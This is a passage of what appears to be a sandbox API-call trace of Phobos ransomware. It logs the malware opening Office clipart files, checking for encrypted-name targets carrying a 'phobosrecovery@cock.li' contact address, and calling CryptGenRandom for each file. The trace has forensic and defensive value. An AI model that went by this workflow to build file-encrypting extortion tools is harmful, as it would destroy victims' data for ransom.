office\\root\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.815] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=18622) returned 1 [0151.815] CloseHandle (hObject=0x564) returned 1 [0151.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195428.wmf")) returned 0x220 [0151.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195428.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.815] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.816] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3680) returned 1 [0151.816] CloseHandle (hObject=0x564) returned 1 [0151.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf")) returned 0x220 [0151.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.816] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.820] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3004) returned 1 [0151.820] CloseHandle (hObject=0x564) returned 1 [0151.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf")) returned 0x220 [0151.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.820] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.821] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4750) returned 1 [0151.821] CloseHandle (hObject=0x564) returned 1 [0151.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf")) returned 0x220 [0151.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.821] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.821] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5326) returned 1 [0151.821] CloseHandle (hObject=0x564) returned 1 [0151.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf")) returned 0x220 [0151.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.822] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.828] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3826) returned 1 [0151.828] CloseHandle (hObject=0x564) returned 1 [0151.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf")) returned 0x220 [0151.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.828] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.831] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13702) returned 1 [0151.831] CloseHandle (hObject=0x564) returned 1 [0151.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf")) returned 0x220 [0151.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.837] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.854] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=26252) returned 1 [0151.854] CloseHandle (hObject=0x564) returned 1 [0151.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf")) returned 0x220 [0151.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.854] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.859] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=23726) returned 1 [0151.859] CloseHandle (hObject=0x564) returned 1 [0151.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf")) returned 0x220 [0151.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.860] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.861] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=34912) returned 1 [0151.861] CloseHandle (hObject=0x564) returned 1 [0151.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf")) returned 0x220 [0151.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.861] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.912] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15566) returned 1 [0151.913] CloseHandle (hObject=0x564) returned 1 [0151.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198025.wmf")) returned 0x220 [0151.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198025.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.954] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200279.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.956] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19466) returned 1 [0151.956] CloseHandle (hObject=0x564) returned 1 [0151.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200279.wmf")) returned 0x220 [0151.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200279.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.956] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.957] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=41136) returned 1 [0151.957] CloseHandle (hObject=0x564) returned 1 [0151.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf")) returned 0x220 [0151.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.957] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.958] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20232) returned 1 [0151.958] CloseHandle (hObject=0x564) returned 1 [0151.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf")) returned 0x220 [0151.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.958] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.959] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=21400) returned 1 [0151.959] CloseHandle (hObject=0x564) returned 1 [0151.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf")) returned 0x220 [0151.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.959] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200467.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.962] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13934) returned 1 [0151.962] CloseHandle (hObject=0x564) returned 1 [0151.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200467.wmf")) returned 0x220 [0151.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200467.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200467.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.963] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.968] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10046) returned 1 [0151.968] CloseHandle (hObject=0x564) returned 1 [0151.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf")) returned 0x220 [0151.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 